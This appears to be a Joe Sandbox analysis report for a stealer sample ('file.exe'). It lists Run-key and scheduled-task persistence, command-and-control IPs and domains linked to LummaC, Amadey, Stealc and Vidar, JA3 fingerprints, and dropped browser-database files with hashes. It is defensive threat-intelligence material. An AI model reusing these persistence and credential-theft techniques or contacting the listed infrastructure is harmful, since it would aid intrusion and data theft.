Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, prod-agic-we-2.westeurope.cloudapp.azure.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.microsoft.com, config.edge.
Execution Graph export aborted for target DocumentsJDGCGHCGHC.exe, PID 4648 because it is empty
Execution Graph export aborted for target skotes.exe, PID 6848 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7416 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
09:16:57	API Interceptor	144x Sleep call for process: file.exe modified
09:18:02	API Interceptor	250x Sleep call for process: skotes.exe modified
09:18:27	API Interceptor	3x Sleep call for process: ec3f41365f.exe modified
14:17:23	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
14:18:29	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ec3f41365f.exe C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe
14:18:37	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ec3f41365f.exe C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
20.25.227.174	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	ArenaWarsSetup.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	setup.msi	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cook-rain.sbs	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	Unlock_Tool_v2.6.5.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Panda Stealer, Stealc	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	Unlock_Tool_v2.6.5.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Panda Stealer, Stealc	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://pzpvsr8w.r.us-west-2.awstrack.me/L0/https:%2F%2Flmmoya.online%2Fcave.html/1/010101933f26e1e0-1115fe0b-5025-44be-8af4-15d6df5c778e-000000/HfxdUzBUygbU0CHkcLEJKW7Wybk=401	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	phish_alert_sp1_1.0.0.0.eml	Get hash	malicious	Unknown	Browse	13.89.178.27
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://lnk.ie/7469O/e=	Get hash	malicious	Unknown	Browse	23.101.59.196
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	https://lnk.ie/7469O/e=	Get hash	malicious	Unknown	Browse	23.101.59.196
	Quotation request -30112024_pdf.exe	Get hash	malicious	FormBook	Browse	20.2.36.112
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	http://login.nojustgive.com/ueAQYUzz	Get hash	malicious	HTMLPhisher	Browse	20.189.173.13
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://pzpvsr8w.r.us-west-2.awstrack.me/L0/https:%2F%2Flmmoya.online%2Fcave.html/1/010101933f26e1e0-1115fe0b-5025-44be-8af4-15d6df5c778e-000000/HfxdUzBUygbU0CHkcLEJKW7Wybk=401	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	phish_alert_sp1_1.0.0.0.eml	Get hash	malicious	Unknown	Browse	13.89.178.27
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://lnk.ie/7469O/e=	Get hash	malicious	Unknown	Browse	23.101.59.196
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	https://lnk.ie/7469O/e=	Get hash	malicious	Unknown	Browse	23.101.59.196
	Quotation request -30112024_pdf.exe	Get hash	malicious	FormBook	Browse	20.2.36.112
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	http://login.nojustgive.com/ueAQYUzz	Get hash	malicious	HTMLPhisher	Browse	20.189.173.13
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://pzpvsr8w.r.us-west-2.awstrack.me/L0/https:%2F%2Flmmoya.online%2Fcave.html/1/010101933f26e1e0-1115fe0b-5025-44be-8af4-15d6df5c778e-000000/HfxdUzBUygbU0CHkcLEJKW7Wybk=401	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	phish_alert_sp1_1.0.0.0.eml	Get hash	malicious	Unknown	Browse	13.89.178.27
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://lnk.ie/7469O/e=	Get hash	malicious	Unknown	Browse	23.101.59.196
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	https://lnk.ie/7469O/e=	Get hash	malicious	Unknown	Browse	23.101.59.196
	Quotation request -30112024_pdf.exe	Get hash	malicious	FormBook	Browse	20.2.36.112
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	http://login.nojustgive.com/ueAQYUzz	Get hash	malicious	HTMLPhisher	Browse	20.189.173.13
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	file.exe	Get hash	malicious	LummaC	Browse	23.206.229.209
	https://www.oncloudxsouthafrica.co.za/collections/all-c-0.html?&gender=1	Get hash	malicious	Unknown	Browse	23.206.229.209
	file.exe	Get hash	malicious	LummaC	Browse	23.206.229.209
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	23.206.229.209
	file.exe	Get hash	malicious	LummaC	Browse	23.206.229.209
	Benefits_Update_2024.pdf	Get hash	malicious	Unknown	Browse	23.206.229.209
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	23.206.229.209
	https://jammyjetscorp.uk/PurchaseLedgerRemittanceAdvice/PDF	Get hash	malicious	Unknown	Browse	23.206.229.209
	Unlock_Tool_v2.6.5.exe	Get hash	malicious	Stealc, Vidar	Browse	23.206.229.209
	file.exe	Get hash	malicious	LummaC	Browse	23.206.229.209
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC	Browse	52.149.20.212 184.28.90.27 20.190.159.0
	https://t.ly/sID8i	Get hash	malicious	HTMLPhisher	Browse	52.149.20.212 184.28.90.27 20.190.159.0
	https://pzpvsr8w.r.us-west-2.awstrack.me/L0/https:%2F%2Flmmoya.online%2Fcave.html/1/010101933f26e1e0-1115fe0b-5025-44be-8af4-15d6df5c778e-000000/HfxdUzBUygbU0CHkcLEJKW7Wybk=401	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	52.149.20.212 184.28.90.27 20.190.159.0
	phish_alert_sp1_1.0.0.0(1).eml	Get hash	malicious	KnowBe4	Browse	52.149.20.212 184.28.90.27 20.190.159.0
	voi.bat	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 20.190.159.0
	http://dailyfragrancedeals.com	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 20.190.159.0
	https://www.oncloudxsouthafrica.co.za/collections/all-c-0.html?&gender=1	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 20.190.159.0
	https://securemail.clearswift.com/registration.html?rrRegcode=7MpnbN82&rrUserId=e5178bc1-efec-4a4c-a756-6d87cb45f84e&enterprise=DVLA&locale=en_US&msgUserId=6bc4168eeb627ada	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 20.190.159.0
	file.exe	Get hash	malicious	LummaC	Browse	52.149.20.212 184.28.90.27 20.190.159.0
	https://deina.kinsta.cloud/wp-content/upgrade/ddprojet	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 20.190.159.0
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	900092839283982.exe	Get hash	malicious	DBatLoader, VIP Keylogger	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	188.114.97.3
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	188.114.97.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	Unlock_Tool_v2.6.5.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	Unlock_Tool_v2.6.5.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AKKKFBGDHJKFHJJJJDGCBKFHJK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03862698848467049
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxAserRNbekZ3DmVxL1HI:58r54w0VW3xWmfRFj381
MD5:	507BA3B63F5856A191688A30D7E2A93A
SHA1:	1B799649D965FF1562753A9EB9B04AC83E5D7C57
SHA-256:	10A34BE61CD43716879A320800A262D0397EA3A8596711BDAE3789B08CB38EF8
SHA-512:	7750584100A725964CAE3A95EC15116CDFE02DE94EFE545AA84933D6002C767F6D6AF9D339F257ED80BDAD233DBF3A1041AB98AB4BF8B6427B5958C66DCEB55F
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBFCBKKFBAEHJKEBKFCB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHIJDHIDBGHJKECBFIID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1765), with CRLF line terminators
Category:	dropped
Size (bytes):	9526
Entropy (8bit):	5.515924904533179
Encrypted:	false
SSDEEP:	192:efniR4oYbBp6Sp0pUhUxaXd6Y4nysZM2WklbBNBw8DUSl:hejGpCUvY4ysn7tpwx0
MD5:	4580799F1DC5720A7EC1766400E98740
SHA1:	92FD30F47EC545245B934EA492B3C64D5E609AA9
SHA-256:	57F457D69933E9E8A98C32A05EEE96171419977D45AFFA674A9761556656B9FA
SHA-512:	C0787F6584D1D26EBFD5AE59F32046CF1FF5AD1BEB1443F2FE93EB89EFA2F216CBC98E101BA3E38A2837ED9411A9DE1370E29ED96E83D8096547E53FEE964567
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "d3d72102-142d-47cc-a7b7-5b20541f2540");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696496527);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696496528);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\GDBAKEGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.266281125383948
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkM2SAELyKOMq+8ETZKoxAXCVum+:K0q+n0J29ELyKOMq+8ET8cUZ
MD5:	5F6DE561F5E1EF52F589BC2DCBE62290
SHA1:	A12CF52B09E6856ABADA75A4F092512EB7CFCA88
SHA-256:	07EAFF6A5F73AF03C725719D2C3D68EC25D45F38CA4CB60860675D2190A56506
SHA-512:	DC64A7020C6295C16528F03E9CC35925D26B25D8EFA7C0FF8040E8BDEF4FB653E1BA7ED9084366F9198771338AE9A3A955D1A28E93304A7ADBAD0195089AE375
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDBAFHDG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1371207751183456
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cF/I4:MnlyfnGtxnfVuSVumEHFw4
MD5:	643AC1E34BE0FDE5FA0CD279E476DF3A
SHA1:	241B9EA323D640B82E8085803CBE3F61FEEA458F
SHA-256:	C44B4270F1F0B4FCB13533D2FC023443DBAFB24D355286C6AE1493DBCD96B7E2
SHA-512:	73D0F938535D93CC962EF752B1544FA8A2E4194C8979FB4778D0B84B70D32C6EDF8CC8559C9CEFBAF9681FB3BC1D345086AFCA4CA5FC8FB88100E48679AB1EF8
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEBFIEBAFCBAAAAKJKJE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDGIIDHJEBGIDHJJDBKEHCAAAF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Unlock_Tool_v2.6.5.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

